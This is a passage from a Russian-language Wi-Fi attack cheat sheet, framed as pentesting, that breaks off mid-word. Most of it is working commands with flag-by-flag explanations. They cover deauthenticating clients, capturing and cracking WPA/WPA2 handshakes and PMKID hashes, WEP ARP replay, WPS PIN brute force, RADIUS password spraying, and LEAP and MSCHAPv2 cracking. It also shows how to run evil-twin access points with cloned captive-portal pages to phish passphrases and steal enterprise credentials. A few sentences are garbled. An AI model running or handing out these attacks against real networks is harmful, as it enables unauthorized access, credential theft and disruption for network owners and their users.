Это дополнение к двум прошлым статьям, лучше ознакомиться с ними и преступать к этой части статьи. Я все ещё не вынуждаю вас к применению этого.
Просмотр конфигурации сетевых интерфейсов:
ifconfig && iwconfig && airmon-ng
Не всегда всё предустановлено в системе
Включение/отключение сетевого интерфейса:
ifconfig wlan0 up
ifconfig wlan0 down
Перезапуск менеджера сети:
service NetworkManager restart
В данной команде:
"service" - это команда, которая позволяет управлять службами в системе.
"NetworkManager" - это название службы, которую вы хотите перезапустить.
"restart" - это опция, указывающая команде перезапустить указанную службу.
Проверка регуляторной области беспроводной сети (WLAN):
iw reg get
Эта команда выполняется через утилиту iw, которая предоставляет возможности настройки беспроводных интерфейсов в Linux. В результате выполнения команды "iw reg get" вы увидите информацию о текущем регионе для беспроводного интерфейса.
Установка регуляторной области беспроводной сети (WLAN):
Увеличение/уменьшение мощности беспроводного интерфейса (высокая мощность может быть незаконной в некоторых странах):
iwconfig wlan0 txpower 40
Стоит отметить, что для некоторых wifi-адаптеров данная команда работать не будет, например для чипов rtl8814au и rtl8812au
Разные страны налагают разные ограничения на частотные каналы WiFi. Это может быть проблемой, если ваша сетевая карта или операционная система заставляют вас использовать другую конфигурацию, чем вам нужно. Существует множество причин, почему это может происходить, начиная от драйверов, предпочитающих настройки EEPROM, и заканчивая странными решениями, основанными на наблюдениях за активностью сети.
Также, можно использовать дополнительное ПО для данной настройки. Измененная конфигурация регулирования ограничения доступных частот и максимальной мощности передатчика в соответствии с региональными настройками - ссылка на github.
Мониторинг
Установка беспроводного сетевого интерфейса в режим мониторинга:
airmon-ng start wlan0
ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up
Установка беспроводного сетевого интерфейса в режим мониторинга на указанном канале:
airmon-ng start wlan0 8
iwconfig wlan0 channel 8
[Дополнительно] Остановка служб, которые могут мешать работе беспроводных сетевых интерфейсов в режиме мониторинга:
airmon-ng check kill
Вернуть беспроводный сетевой интерфейс в режим управления (managed mode):
airmon-ng stop wlan0mon
ifconfig wlan0 down && iwconfig wlan0 mode managed && ifconfig wlan0 up
Ищите беспроводные сети в вашей области:
airodump-ng --wps -w airodump_sweep_results wlan0mon
wash -a -i wlan0mon
Мониторинг беспроводной сети для захвата рукопожатий/запросов:
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid <ESSID> --bssid <BSSID>
Если вы указали выходной файл, не забудьте остановить airodump-ng после завершения мониторинга, потому что это приведет к заполнению всего доступного места на диске большим файлом PCAP.
Для получения дополнительной информации о беспроводных точках доступа, такой как их MAC-адрес, название производителя и т. д., вы можете использовать инструменты, такие как Kismet.
Kismet - это мощный инструмент для мониторинга беспроводных сетей и анализа беспроводного трафика.
Пентест
Проверить поддержку беспроводным интерфейсом инъекции пакетов:
aireplay-ng --test wlan1 -e <ESSID> -a <BSSID>
"aireplay-ng" - сама команда для выполнения атак на беспроводные сети с помощью Aircrack-ng;
"--test" - это опция, которая указывает Aireplay-ng отправить тестовый запрос;
"wlan1" - это имя вашего беспроводного интерфейса. Вы должны заменить "wlan1" на имя вашего фактического беспроводного интерфейса;
"-e <ESSID>" - это опция, где "essid" должен быть заменен на имя (ESSID) беспроводной сети (Wi-Fi), к которой вы хотите подключиться. Это означает, что вы пытаетесь отправить тестовый запрос к указанной сети;
"-a <BSSID>" - это опция, где " <BSSID>" должен быть заменен на BSSID (MAC-адрес) точки доступа, к которой вы хотите отправить тестовый запрос.
WPA/WPA2 Handshake
Мониторинг беспроводной сети для захвата четырехступенчатого рукопожатия WPA/WPA2:
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid
"wlan0mon" - это имя вашего мониторящего (monitor) беспроводного интерфейса. Вы должны заменить wlan0mon на имя вашего фактического мониторящего интерфейса;
"--channel 8" - опция --channel" используется для указания номера канала, на котором вы хотите мониторить беспроводные сети. В данном случае, вы выбрали канал 8;
"-w airodump_essid_results" - опция -w используется для указания префикса имени файла, в который будут записаны результаты мониторинга. В данном случае, результаты будут записаны в файлы с именем "airodump_essid_results".
[Опционально] Деаутентифицировать клиентов из беспроводной сети:
aireplay-ng --deauth 10 wlan1 -e essid -a <BSSID>
Запустить атаку словарем против рукопожатия WPA/WPA2:
aircrack-ng -e essid -b <BSSID> -w rockyou.txt airodump_essid_results*.\
"-w rockyou.txt" - опция -w используется для указания словаря паролей, который будет использоваться при атаке на сеть. Здесь rockyou.txt - это имя файла с паролями. Вы можете заменить его на другой файл, если у вас есть другой словарь паролей, например от 3WiFi
PMKID Attack
Cоветую к прочтению статью "Pwning WPA/WPA2 Networks With Bettercap and the PMKID Client-Less Attack", но достаточно старая, нужно будет заменять метод hashcat на 22000
Взлом аутентификации WPA/WPA2 без деаутентификации клиентов.
Установка необходимых инструментов на Kali Linux:
apt update && apt -y install hcxtools
Начните захват PMKID хешей для всех близлежащих сетей:
hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon
"--enable_status=1" - опция --enable_status устанавливает значение 1 для включения вывода статуса (status) в консоль в реальном времени. Это полезно для отслеживания прогресса сбора данных;
"-o hcxdumptool_results.cap" - опция -o используется для указания имени файла, в который будут записаны результаты сбора данных. В данном случае, данные будут записаны в файл с именем "hcxdumptool_results.cap".
[Опционально] Начните захват PMKID хешей для указанных беспроводных сетей:
echo HH:HH:HH:HH:HH:HH | sed 's/\://g' >> filter.txt
hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon --filterlist
Иногда может потребоваться несколько часов, чтобы захватить один PMKID хеш. Извлеките PMKID хеши из файла PCAP:
hcxpcaptool hcxdumptool_results.cap -k hashes.txt
Запустите атаку словарем PMKID хешей:
hashcat -m 22000 -a 0 --session=cracking --force --status -O -o hashcat_results.txt
Тут показан актуальный метод для перебора hashcat-ом
ARP (Request Replay Attack)
Если целевая беспроводная сеть не перегружена, то захват достаточного количества IVs(initialization vectors) для взлома аутентификации WEP может занять несколько дней.
Чтобы ускорить этот процесс, выполните фиктивную аутентификацию в беспроводной сети с несуществующим MAC-адресом и поддерживайте соединение:
aireplay-ng --fakeauth 8000 -o 1 -q 10 wlan1 -e essid
"--fakeauth 6000" - опция --fakeauth используется для выполнения аутентификации (authentication) к точке доступа (AP). Значение "6000" означает, что вы будете попытываться аутентифицироваться каждые 6000 миллисекунд (6 секунд). Вы можете изменить это значение по вашему усмотрению.
"-o 1" - опция -o используется для указания номера операции (operation), которая выполняется. В данном случае, "1" указывает на операцию аутентификации. Операция "1" соответствует аутентификации;
"-q 10" - опция -q используется для установки скорости запросов (попыток) в секунду. Ваша команда устанавливает скорость в 10 запросов в секунду;
"-a <BSSID>" - опция -a используется для указания BSSID (MAC-адреса точки доступа) целевой сети, к которой вы хотите подключиться;
"-h <MAC>" - опция -h используется для указания MAC-адреса вашего собственного беспроводного интерфейса.
Если в сети активировано фильтрование MAC-адресов, выполните фиктивную аутентификацию в беспроводной сети с существующим MAC-адресом:
aireplay-ng --fakeauth 0 wlan1 -e essid -a <BSSID> -h <MAC>
Чтобы отслеживать количество захваченных IVs(initialization vectors), запустите airodump-ng для мониторинга беспроводной сети и следите за столбцом "#Data" (попробуйте захватить около 100 000 IVs(initialization vectors)):
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid <BSSID>
Запустите стандартную атаку с повторением ARP-запросов против беспроводной сети:
aireplay-ng --arpreplay wlan1 -e essid -a <BSSID> -h <MAC>
[Дополнительно] Деаутентифицировать клиентов из беспроводной сети:
aireplay-ng --deauth 10 wlan1 -e essid -a <BSSID>
Взлом аутентификации WEP:
aircrack-ng -e essid -b <BSSID> replay_arp*.cap
High-rate Injection test
Атака Hirte (High-rate Injection test) - это тест высокоскоростной инъекции, который используется для проверки безопасности беспроводных сетей. Эта атака направлена на проверку, насколько устойчива сеть к высокоскоростной инъекции пакетов.
Основная идея атаки Hirte заключается в том, что она генерирует высокоскоростной поток сетевых пакетов и направляет его на беспроводную сеть. Это может использоваться для проверки наличия уязвимостей в сетевом оборудовании, которое может не справляться с такой высокой нагрузкой.
Эта атака нацелена на клиентов, а не на точки доступа беспроводных сетей. Вам необходимо знать SSID (идентификаторы беспроводных сетей) ваших целевых WiFi-сетей.
[Дополнительно] Настройте фиктивную WiFi-сеть WEP, если реальная сеть отсутствует:
airbase-ng -W 1 -N wlan0mon -c 8 --essid essid -a <BSSID>
При необходимости включите беспроводной интерфейс, что связать клиентов с фейковой WiFi-сетью. Мы разбирали, как это сделать, в первом пункте статьи.
Чтобы мониторить настоящую/фейковую WiFi-сеть для захвата рукопожатий/запросов используйте:
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid
Генерация пакетов клиентов в Вашем радиусе воспроизводится следующим образом:
aireplay-ng --cfrag -D wlan1 -e essid -h <MAC>
[Опционально] Для деаутентификации клиентов от настоящей/фейковой WiFi-сети используется:
aireplay-ng --deauth 10 wlan1 -e essid -a <BSSID>
Перебор WEP-аутентификации:
aircrack-ng -e essid -b <BSSID> airodump_essid_results*.cap
WPS PIN (а вдруг включен)
WiFi Protected Setup, WPS - стандарт и одноименный протокол полуавтоматического создания WiFi-сети. Создан он был для упрощения развертывания и подключения к WiFi-сетям.
Старый тип атаки, мало где применим, попробовать в лаборатории можно.
Есть хорошая статья о данном методе - "My worst nightmare on discovering a Wi-Fi WPS vulnerability on my home router" (Работает под vpn)
Существует два типа WPS:
WPS с пин-кодом из восьми цифр,где на клиенте нужно ввести тот же код, то и на точке доступа
Кнопка WPS, которую нужно на и на точке доступа, и на клиенте с интервалом меньше пары минут
Из всего этого получается, что точки доступа WiFi с включенным WPS уязвимы к атаке брутфорса(перебора) PINа. При успешном перебора можно будет подключиться к точке доступа, а заодно и узнать её WPA/WPA2 пароль. Перебор пина невозможен на тех точках доступа, где необходимо нажимать кнопки.
Перебор WPS PINа:
reaver -vv --pixie-dust -i wlan1 -c 8 -e essid -b <BSSID>
"-vv" - Эта опция используется для включения подробного вывода, который будет показывать дополнительную информацию о процессе атаки;
"--pixie-dust" - Эта опция указывает использовать метод атаки "Pixie Dust". Метод "Pixie Dust" - это способ взлома WPS, который пытается найти уязвимые устройства и извлечь из них необходимую информацию для взлома;
"-i wlan1" - Опция -i указывает имя вашего беспроводного интерфейса, через который будет выполняться атака. Замените "wlan1" на имя вашего фактического беспроводного интерфейса;
"-c 8" - Опция -c используется для указания номера канала, на котором находится целевая беспроводная сеть. Здесь указан канал 8.
А для перебора PINа с задержкой между попытками используйте:
reaver -vv --pixie-dust -N -L -d 5 -r 3:15 -T 0.5 -i wlan1 -c 8 -e essid -b <BSSID>
"-N" - Эта опция указывает, что вы хотите выполнять атаку в режиме нон-мониторинга (non-monitor mode), что может быть полезным в некоторых случаях;
"-L" - Эта опция указывает использовать менее мощные и быстрые атаки, что может снизить вероятность обнаружения атаки;
"-d 5" - Опция -d указывает интервал между попытками взлома в секундах. В данном случае, интервал установлен на 5 секунд;
"-r 3:15" - Опция -r указывает диапазон значений для проверки PIN-кодов. В данном случае, указан диапазон с 3 по 15;
"-T 0.5" - Опция -T указывает интервал между отправкой запросов в секундах. В данном случае, интервал установлен на 0.5 секунды.
Атака на WPA/WPA2-Enterprise (MGT)
WPA/WPA2 Enterprise - это один из наиболее безопасных методов обеспечения безопасности беспроводных сетей, особенно в корпоративной среде. В этой подглаве статьи мы рассмотрим аспекты взлома аутентификации WPA/WPA2 Enterprise с использованием метода аутентификации MGT (Machine-Generated Token).
Захват имен пользователей RADIUS:
С помощью Wireshark: найдите поле «Идентификация» в сообщениях EAP типа «Ответ, Идентификация».
С использованием crEAP:
python crEAP.py -i mon0 -c <channel>
Перебор учетных записей RADIUS / Password Spraying
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid <target_ESSID> \
--password <password_to_spray> \
--user-list <usernames_list>
Флаг --interface-pool используется для предоставления eaphammer списком беспроводных интерфейсов, с помощью которых будет создано многозадачное выполнение. Ссылка на документацию
Захват и взлом рукопожатий LEAP и EAP-MD5
Протоколы EAP-MD5 и MD5 не используют безопасный туннель для аутентификации клиента. В связи с этим существует возможность перехвата вызова аутентификации и ответа на него, а затем выполнения офлайн-взлома. Это означает, что данные аутентификации могут быть подвержены риску, если не применяются дополнительные меры безопасности.
Захват трафика и запись захваченных рукопожатий в файл:
airdump-ng -c <channel> --bssid <AP_MAC> -w <capture> mon0
(Дополнительно) Деаутентификация клиента от точки доступа:
aireplay-ng --deauth 5 -c <MAC_target> -a <MAC_AP> mon0
Взлом
eapmd5pass r <capture> -w <wordlist> # Для EAP-MD5
asleap -r <capture> -W <wordlist> # Для LEAP (взлом MSCHAPv2 запроса/ответа)
asleap -C <mschapv2_challenge> -R <mschapv2_response> -W <wordlist> # Формат
asleap - Демонстрирует серьёзный недостаток в проприетарных сетях Cisco LEAP. Поскольку LEAP использует один из вариантов MS-CHAPv2 для аутентификационного обмена, он чувствителен к ускоренной офлайновой атаке по словарю. Asleap также может атаковать Point-to-Point Tunneling Protocol (PPTP) и любые обмены MS-CHAPv2, где в командной строке вы можете указать значения вызова и ответа.
Взлом запроса/ответа MSCHAPv2 (например, EAP-PEAPv0, EAP-TTLS, EAP-FAST)
MSCHAPv2 может использоваться как "Внутренний протокол EAP/Аутентификации" (внутри TLS-туннеля) в нескольких методах EAP, таких как EAP-PEAPv0, EAP-TTLS, EAP-FAST.
Для захвата вызова/ответа MSCHAPv2 требуется провести атаку "Зловредный AP" (Evil Twin Attack) и отключить проверку сертификата сервера на стороне клиента (см. eaphammer).
asleap -C <mschapv2_challenge> -R <mschapv2_response> -W <wordlist> # CФормат запроса/ответа с разделителями в виде двоеточия
WPA/WPA2-Personal (PSK) Rogue AP Evil Twin
Для проведения атаки "Evil Twin" с использованием настройки WPA/WPA2 требуется знание парольной фразы целевой сети (например, на конференции, если пароль уже был взломан...);
Если пароль неизвестен, можно настроить атаку "Evil Twin" с открытой сетью (например, для попытки получения парольной фразы с помощью фишинга через атаку с захватом сессии с помощью портала аутентификации).
Базовая точка доступа WPA/WPA2-PSK
С общим доступом к Интернету (по умолчанию):
berate_ap <interface_AP> <interface_internet> <SSID> <passphrase>
berate_ap - скрипт для создания фейковых точек доступа Wi-Fi.
Без совместного использования Интернета
berate_ap -n <interface_AP> <SSID> <passphrase>
Общий доступ к Интернету через мост (предварительно настроенный интерфейс моста)
berate_ap -m bridge <interface_AP> <interface_internet> <SSID> <passphrase>
Совместное использование Интернета с того же интерфейса Wi-Fi
berate_ap <interface_AP> <interface_AP> <SSID> <passphrase>
Включить IEEE 802.11n (с частотой 40 МГц)
berate_ap --ieee80211n --ht_capab '[HT40+]' <interface_AP> <interface_internet> <SSID> <passphrase>
Включить изоляцию клиента
berate_ap --isolate-clients <interface_AP> <interface_internet> <SSID> <passphrase>
WPA/WPA2-PSK AP Evil Twin + Captive Portal Attack
Captive Portal Attack (атака захвата портала) - это вид атаки на безопасность сети, при которой злоумышленник создает мнимый точку доступа Wi-Fi (Wi-Fi hotspot) с целью обмануть пользователей и заставить их подключаться к этой точке доступа. Когда пользователи подключаются к такой точке доступа, они могут быть перенаправлены на веб-страницу, известную как "захватываемый портал" или "захватываемая страница". На этой странице пользователи могут быть попрошены ввести учетные данные, кредитную информацию или другие личные данные, которые злоумышленники могут использовать в мошеннических целях.xтировать их устройства.
С использованием wifiphisher:
wifiphisher -aI <interface_rogue_AP> -jI <interface_jamming> --essid <target_SSID> -pK <passphrase> -kN
С использованием eaphammer:
./eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk --essid <SSID> --wpa-passphrase <passphrase> --captive-portal # WPA2 по-умолчанию
./eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk --essid <SSID> --wpa-passphrase <passphrase> --captive-portal --wpa-version 1 # Принудительный WPA1
Для достижения наилучших результатов в фишинге:
Клонировать легальную страницу;
Скопируйте клонированную веб-страницу в каталог /var/www/html/ (eaphammer обслуживает веб-страницу отсюда в соответствии с конфигурацией Apache2 по умолчанию).
WPA/WPA2-PSK AP Evil Twin + (половинный) захват рукопожатия WPA
./eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk \
--essid <SSID> --wpa-passphrase randompassphrase --capture-wpa-handhshake
WPA/WPA2-Enterprise (MGT) Rogue AP Evil Twin
Атака "Evil Twin" на сети WPA/WPA2-Enterprise возможна только в случае, если:
Метод EAP, используемый для аутентификации клиента, не использует клиентский сертификат (например, EAP-TLS, PEAPv0(EAP-TTLS)), так как в этом случае нет учетных данных, которые можно было бы украсть.
Метод EAP, используемый для аутентификации клиента, не требует серверного сертификата (например, EAP-MD5, LEAP), или в развертывании EAP не требуется проверка сертификатов сервера на рабочих станциях (или клиент вручную принимает недействительный сертификат, если это возможно).
Стандартные показатели (лично для меня):
Эта атака эффективна против устройств на операционной системе Android.
Эффективна против устройств на операционной системе iOS, но может потребовать подтверждения сертификата.
Против устройств на операционной системе Windows может быть захвачен только вызов-ответ.
WPA/WPA2-Enterprise AP Evil Twin + Кража учетных данных RADIUS
Этот тип атаки может использоваться для кражи учетных данных RADIUS (в чистом виде или, чаще всего, вызов-ответ, например, MSCHAPv2), когда используется EAP с аутентификацией клиента на основе учетных данных.
С использованием berate_ap:
(Дополнительно) Для более убедительной атаки сертификат, представляемый пользователям при аутентификации, должен быть похож на легитимный сертификат. Сертификат, используемый легитимной точкой доступа (AP), можно извлечь из захвата сети с помощью следующего инструмента: ссылка на скрипт.
./extract_EAP.sh -r <capture file>
./extract_EAP.sh -i mon0
Создание корпоративной сети (запросит информацию для использования в создаваемом сертификате) и захват учетных данных EAP:
berate_ap --eap --mana-wpe --mana-credout <file_captured_creds> <interface_AP> <interface_internet> <SSID>
Поддерживаемые режимы EA